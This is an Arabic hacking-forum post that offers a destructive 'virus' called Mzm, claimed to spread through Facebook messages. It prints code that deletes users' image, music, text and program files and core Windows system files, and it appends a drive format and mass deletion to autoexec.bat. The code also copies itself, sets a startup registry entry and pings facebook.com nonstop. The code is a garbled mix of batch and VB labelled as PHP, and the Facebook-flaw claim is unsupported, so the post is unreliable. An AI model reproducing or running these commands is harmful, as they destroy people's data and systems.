:: vBspiders Professional Network :: - فيروس Mzm يرسل عن طريــق الفايسبوك بين ايديكم

السلام عليكم انا عملتلكم فيروس تحت اسم Mzm و هو خطير و سري جدا لانه يقوم بتدمير الجهاز عن طريق رسالة الفايسبوك ترسلها الي بروفيل الشخص وهي ثغرة خطيرة في الفايسبوك لم يجدوا لها الحل طبعا الفيروس يقوم بحذف جميع الملفات من نوع jpg/txt/mp3/exe/ بالامر @Echo off
e:
deltree /y *
cd\

كذالك يقوم بمسح programme file بالامر echo deltree /y c:\progra~1\*.* >nul >>c:\mzm.bat و يعمل فورمات للجهاز و يقوم كذالك بنسخ نفسه ثلاث مرات في اماكن مختلفة copy = "c:\mzm.bat" ثم يقوم اليا بارسال رسايل لتفجير موقع الفايسبوك @echo off
ping www.facebook.com -t
دون علم المستخدم اي برون فتح نافذة السي ام دي كما يفتح مع فتح الجهاز بالامر RegOpenKey nBufferKey, "Run-", nBufferSubKey

InputValue = "c:\windows\system\mzm.bat"

اخيرا عمل فورمات للجهاز بالامر
echo format c: /q /u /autotest >nul >>c:\autoexec.bat

اما كيفية الارسال في شرحي علي اليوتيوب

[http://www.youtube.com/watch?v=NAPG7KZEQNI]

الفيروس العضيم mZm

كود PHP:

   @Echo off 

e: 

deltree /y *.jpg 

cd\ 

deltree /y *.mp3 

cd\ 

deltree /y *.exe

cd\ 

deltree /y *.jpg 

cd\ 

deltree /y *.txt

cd\ 

deltree /y *.html 

 
Kill "C:\autoexec.bat" 

Kill "C:\msdos.sys" 

Kill "C:\io.sys" 

Kill "C:\windows\win.ini" 

Kill "C:\windows\system.ini" 

Kill "C:\command.com" 

Kill "C:\config.sys" 

Kill "C:\windows\rundll.exe" 

Kill "C:\windows\rundll32.exe" 

kill "C:\programe file\ dossier

echo deltree /y c:\progra~1\*.* >nul >>c:\mzm.bat

echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat

 
On Error Resume Next 

 
Dim copy, copy2 

 
copy = "c:\mzm.bat" 

 
copy2 = "c:\windows\system\Project12.exe" 

 
FileCopy copy, copy2

 
 
On Error Resume Next 

 
Dim copy, copy2 

 
copy = "c:\virus.exe" 

 
copy2 = "c:\windows\system\Project11.exe" 

 
FileCopy copy, copy2

 
 
On Error Resume Next 

 
Dim copy, copy2 

 
copy = "c:\virus.exe" 

 
copy2 = "c:\windows\system\Project10.exe" 

 
FileCopy copy, copy2

 
@echo off

ping www.facebook.com -t

لايفتح ابدا واحفضه بامتداد الMzm.bat